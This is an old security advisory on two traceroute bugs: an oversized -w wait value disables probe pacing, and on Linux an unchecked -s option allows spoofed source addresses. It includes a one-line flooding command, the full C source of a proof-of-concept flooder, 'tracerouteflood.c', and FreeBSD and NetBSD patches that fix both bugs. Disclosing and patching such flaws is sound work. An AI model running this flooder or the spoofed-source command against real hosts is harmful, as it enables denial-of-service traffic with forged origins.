COMMAND

    traceroute

SYSTEMS AFFECTED

    Linux, DU 3.2, 4.0, FreeBSD

PROBLEM

    Alfonso De Gregorio found following.  Two traceroute's bugs allow
    any user (since it's often suided) to use traceroute as a little
    udp, or (only for versions from 1.4) also icmp, flooder.  This was
    tested only on x86 boxes with the most diffused GNU/Linux  distro:
    Debian, Slackware, RedHat (all of them with 2.0.34 kernel), and on
    an alpha with Digital Unix  V4.0.  Reports confirmed same  with DU
    3.2 and FreeBSD.

    First bug
    =========
    Waittime value.  Affected systems  come up as x86 linux  and alpha
    digital unix  as traceroute  dosen't handle  too higher argument's
    value  of  -w  option.   the  limit  value  dosen't seem to remain
    costant, but  it's never  greater than  (1<<31)-1 or  on the other
    hand ((1<<(sizeof(int)*8)-1)-1)  on systems  already tested  where
    the size of  an int is  4.  The  problem is the  way is setted the
    waittime value  (waittime =  str2val(optarg, "wait  time",2,-1);),
    used in wait_for_reply to wait for  a response of a probe.   so ..
    passing an  high value  to the  -w option  traceroute will no wait
    for packets  coming back.   Kris confirmed  same works  on Digital
    Unix v3.2, and FreeBSD 4.0 as well (both using -w 2147483647).

    second bug
    ==========
    -s  (the  source  address  of  outgoing  probe packets).  Affected
    system  come  up  x86  linux,  but  possiblly  others too.  Usally
    traceroute  check  if  the  source  address  of the outgoing probe
    packets matches one of the machine's interface addresses; in  case
    of  mismatch,  an  error  is  returned  and nothing is send on x86
    linux traceroute  fail this  check.   In this  way anyone can send
    packets that appear  come from a  fake address (spoofed)  and will
    not receive  response packets  (TIME_EXCEEDED or  PORT_UNREACHABLE
    and unexpected packets, too)'.

    Considerate  the  maximum  number  of  packets that traceroute can
    send, the  number of  packets for  second received  by the  target
    host, the minimal  ICMP packet used  by traceroute (IIRC  just few
    bytes  for  the  rtt  computation),  an  udp/icmp flood made using
    traceroute should be  abosultely powerless and  no one can  make a
    real  DoS  againt  a  victim;  however  just setting the number of
    queries  (-q),  the  packetsize,  and  if  we  want  it  also  the
    time-to-live of  the first  outgoing packet  i've frozen  a bit  a
    windows box until packets finished.

    BTW, if you wan't use sth like

	traceroute -w $(((1<<31)-1)) -q 8 -f n -s xxx.xxx.xxx.xxx target 1460

    or if  you wan't  try to  guess the  limit of  the waittime value,
    there are few lines of code, below, (tracerouteflood.c) that  show
    as can  be used  these tcp/ip  weakness; just  an example, nothing
    more.

    /*

       tracerouteflood.c by (fhex) Alfonso De Gregorio <fhex@speedcom.it>
       a special thanks to: my sister :)
			    Davide (buzzz) Bozzelli a great friend that let
			    me use his alpha
			    Salvatore (antirez) Sanfilippo and Lorenzo (gigi_sull)
			    Cavallaro two  friend always
			    available to pay attantion to my nonsenses
			    and take me great advices


       This program is free software; you can redistribute it and/or modify
       it under the terms of the GNU General Public License as published by
       the Free Software Foundation; version 2 of the License.

       -------------------------------------------------------------------------

       WARNING: this program is only for dimostrative use. USE IT AT YOUR
		OWN RISK! The autors decline responsability caused by
		bad or malicious use.

       to compile: gcc -O2 tracerouteflood.c -o tracerouteflood
       (should copile succesfully on Debian, Slackware, RedHat, DigitalUnix etc.)


						    alfonso de gregorio
       -------------------------------------------------------------------------

    */

    #include <stdio.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <sys/wait.h>
    #include <string.h>



    #define TRACEROUTE "/usr/sbin/traceroute"      /* traceroute's pathname  */
    #define MAX_LENGHT      12                    /* buffer dimension   */



    int
    usage(char *argo)
    {
      printf("usage: %s: %s [-I] [-f first_ttl] [-q nqueries] [-s source_ip] hostname [packetlen]\n", argo,argo);
      printf("\t -I\t\tflood using ICMP ECHO instead of UDP datagrams.\n");
      printf("\t -f firt_ttl\tthe initial time-to-live used in the first outgoing packet\n");
      printf("\t -q nqueries\tqueries number\n");
      printf("\t -s source_ip\tthis ip is the address of the outgoing packets\n");
      printf("\n\t(-I and -f switches works only with traceroute 1.4 or higher)\n");
      printf("\t[source_ip] can be arbitrary only on linux\n");
      printf("\n\tFor example:./tracerouteflood -I -f 2 -q 8 -s xxx.xxx.xxx.xxx dest.somewhere.com 1460\n");

    return 1;
    }



    int
    main(int argc, char **argv )
    {
	    char            badwait[MAX_LENGHT];
	    pid_t           pid_traceroute;
	    register int    op;
	    int             i,j;

	    char *cmdline[10]={};

	    if (argc < 2 || argc > 10 ) exit(usage(argv[0]));


    #ifdef __alpha__
    /* an integer overflow */
    /* please, if ((1<<(sizeof(int)*8)-1)-1) isn't enought on your system repleace it  with just a big number (don't forget to mail me :)*/

	    sprintf(badwait,"%ld",((1<<(sizeof(int)*8)-1)-1)  );
    #else
	    snprintf(badwait,MAX_LENGHT,"%ld",((1<<(sizeof(int)*8)-1)-1)  );
    #endif



	    opterr=0;
	    while ((op = getopt(argc, argv, "If:q:s:")) != EOF)
		    switch (op) {

		    case  'I':
			    cmdline[1]=argv[optind-1];
			    break;
		    case  'f':
			    cmdline[2]=argv[optind-2];
			    cmdline[3]=argv[optind-1];
			    break;
		    case  'q':
			    cmdline[4]=argv[optind-2];
			    cmdline[5]=argv[optind-1];
			    break;
		    case  's':

    /* if you have noticed -s bug also on other systems then linux let free to add here the symbol for the preprocessor (and don't forget to mail me:) */

			    #ifdef __linux__
				    cmdline[6]=argv[optind-2];
				    cmdline[7]=argv[optind-1];
			    #else
				    printf("since now this bug appeare to be present only on linux\n");
				    exit(1);
			    #endif
			    break;
		    default:
			    exit(usage(argv[0]));
			    break;
		    }



	    switch (argc - optind) {

	    case 1:
		    cmdline[8]=argv[optind];
		    break;
	    case 2:
		    cmdline[8]=argv[optind];
		    cmdline[9]=argv[optind+1];
		    break;
	    default:
		    exit(usage(argv[0]));
	    }




	    for (i=1;i<9;i++){
		    if (cmdline[i] == NULL && cmdline[i+1] != NULL) {
			    for(j=i;j<9;j++){
				    cmdline[j]=cmdline[j+1];
				    cmdline[j+1]=(char *) NULL;
			    }
		    i=0;
		    }
	    }


	    pid_traceroute = fork();
	    if ( pid_traceroute == 0) {
		    execl(TRACEROUTE,"traceroute","-w",badwait,cmdline[1],cmdline[2],cmdline[3],cmdline[4],cmdline[5],cmdline[6],cmdline[7],cmdline[8],cmdline[9],NULL);
		    perror("exec: maybe traceroute is not in pre-arranged directory");
		    exit(1);
	    }


	    if ( waitpid(pid_traceroute, NULL, 0) < 0) {
		    printf("wait error\n");
		    exit(1);
		    }


	    printf("done\n");
	    exit(0);
    }

SOLUTION

    This was fixed in  FreeBSD 4.0-CURRENT, 3.1-STABLE and  2.2-STABLE
    as  of  15th  Feb  1999.   The  upcoming  3.1-RELEASE  will not be
    vulnerable.  The attached patch should apply cleanly against  most
    recent versions of  FreeBSD (2.2 and  up). To update  your system,
    try the following (assuming you have the sources):

	# cd /usr/src/contrib/traceroute
	# patch traceroute.c <attached_patch
	# cd ../../usr.sbin/traceroute
	# make
	# make install

    Index: traceroute.c
    ===================================================================
    RCS file: /home/ncvs/src/contrib/traceroute/traceroute.c,v
    retrieving revision 1.5
    retrieving revision 1.5.2.1
    diff -u -r1.5 -r1.5.2.1
    --- traceroute.c        1996/10/08 19:16:24     1.5
    +++ traceroute.c        1999/02/15 08:24:08     1.5.2.1
    @@ -732,6 +732,8 @@
	    wait.tv_sec = tp->tv_sec + waittime;
	    wait.tv_usec = tp->tv_usec;
	    (void)gettimeofday(&now, &tz);
    +       if (wait.tv_sec < now.tv_sec + 1)
    +               wait.tv_sec = now.tv_sec + 1;
	    tvsub(&wait, &now);

	    if (select(sock + 1, &fds, (fd_set *)0, (fd_set *)0, &wait) > 0)

    Curt Sampson appended the set  of patches for the traceroute  bugs
    that he commited  to NetBSD. (It  should work for  other BSDs, and
    perhaps Linux  too, if  it's using  the 4.4BSD  traceroute.)  This
    fixes two problems:

	1. If uid != 0 (you're  not superuser), it checks to see  that
	   the source address it's going  to use is an address  from a
	   local interface that's up and not marked loopback.
	2. It  checks the  return value  from select()  and, if select
	   fails, exits.

    Perhaps solution for #2 is better than the one recently  committed
    to FreeBSD because this one exits on all select() errors, not just
    EINVAL.  So if you  could somehow convince select() to  fail with,
    for example, EINTR, you still can't utilise this to get around the
    inter-packet delay.  (it is  not believed  you can  do this  as it
    stands, but if someone later adds a signal handler to this program
    that doesn't exit when a signal is caught, you'd probably be  able
    to do it by sending a rapid stream of that signal to the program.)

    Index: traceroute.c
    ===================================================================
    RCS file: /cvsroot/src/usr.sbin/traceroute/traceroute.c,v
    retrieving revision 1.26
    retrieving revision 1.28
    diff -u -r1.26 -r1.28
    --- traceroute.c        1998/12/09 22:53:29     1.26
    +++ traceroute.c        1999/02/16 23:18:40     1.28
    @@ -378,7 +379,7 @@
	    int tos = 0, settos = 0, ttl_flag = 0;
	    register int lsrr = 0;
	    register u_short off = 0;
    -       struct ifaddrlist *al;
    +       struct ifaddrlist *al, *al2;
	    char errbuf[132];

	    if ((cp = strrchr(argv[0], '/')) != NULL)
    @@ -699,6 +700,7 @@

	    /* Get the interface address list */
	    n = ifaddrlist(&al, errbuf, sizeof errbuf);
    +       al2 = al;
	    if (n < 0) {
		    Fprintf(stderr, "%s: ifaddrlist: %s\n", prog, errbuf);
		    exit(1);
    @@ -711,8 +713,8 @@

	    /* Look for a specific device */
	    if (device != NULL) {
    -               for (i = n; i > 0; --i, ++al)
    -                       if (strcmp(device, al->device) == 0)
    +               for (i = n; i > 0; --i, ++al2)
    +                       if (strcmp(device, al2->device) == 0)
				    break;
		    if (i <= 0) {
			    Fprintf(stderr, "%s: Can't find interface %s\n",
    @@ -728,11 +730,11 @@
		     * Otherwise, use the first interface found.
		     * Warn if there are more than one.
		     */
    -               setsin(from, al->addr);
    +               setsin(from, al2->addr);
		    if (n > 1 && device == NULL && !find_local_ip(from, to)) {
			    Fprintf(stderr,
			"%s: Warning: Multiple interfaces found; using %s @ %s\n",
    -                           prog, inet_ntoa(from->sin_addr), al->device);
    +                           prog, inet_ntoa(from->sin_addr), al2->device);
		    }
	    } else {
		    hi = gethostinfo(source);
    @@ -754,7 +756,7 @@
			     * interface address.
			     */
			    for (i = hi->n, ap = hi->addrs; i > 0; --i, ++ap)
    -                               if (*ap == al->addr)
    +                               if (*ap == al2->addr)
					    break;
			    if (i <= 0) {
				    Fprintf(stderr,
    @@ -766,6 +768,25 @@
		    }
		    freehostinfo(hi);
	    }
    +
    +       /*
    +        * If not root, make sure source address matches a local interface.
    +        * (The list of addresses produced by ifaddrlist() automatically
    +        * excludes interfaces that are marked down and/or loopback.)
    +        */
    +       if (getuid())  {
    +               al2 = al;
    +               for (i = n; i > 0; --i, ++al2)
    +                       if (from->sin_addr.s_addr == al2->addr)
    +                           break;
    +               if (i <= 0) {
    +                       Fprintf(stderr, "%s: %s is not a valid local address "
    +                           "and you are not superuser.\n", prog,
    +                           inet_ntoa(from->sin_addr));
    +                       exit(1);
    +               }
    +       }
    +
	    outip->ip_src = from->sin_addr;
     #ifndef IP_HDRINCL
	    if (bind(sndsock, (struct sockaddr *)from, sizeof(*from)) < 0) {
    @@ -911,6 +932,7 @@
	    struct timezone tz;
	    register int cc = 0;
	    int fromlen = sizeof(*fromp);
    +       int retval;

	    FD_ZERO(&fds);
	    FD_SET(sock, &fds);
    @@ -920,9 +942,16 @@
	    (void)gettimeofday(&now, &tz);
	    tvsub(&wait, &now);

    -       if (select(sock + 1, &fds, NULL, NULL, &wait) > 0)
    +       retval = select(sock + 1, &fds, NULL, NULL, &wait);
    +       if (retval < 0)  {
    +               /* If we continue, we probably just flood the remote host. */
    +               Fprintf(stderr, "%s: select: %s\n", prog, strerror(errno));
    +               exit(1);
    +       }
    +       if (retval > 0)  {
		    cc = recvfrom(s, (char *)packet, sizeof(packet), 0,
				(struct sockaddr *)fromp, &fromlen);
    +       }

	    return(cc);
     }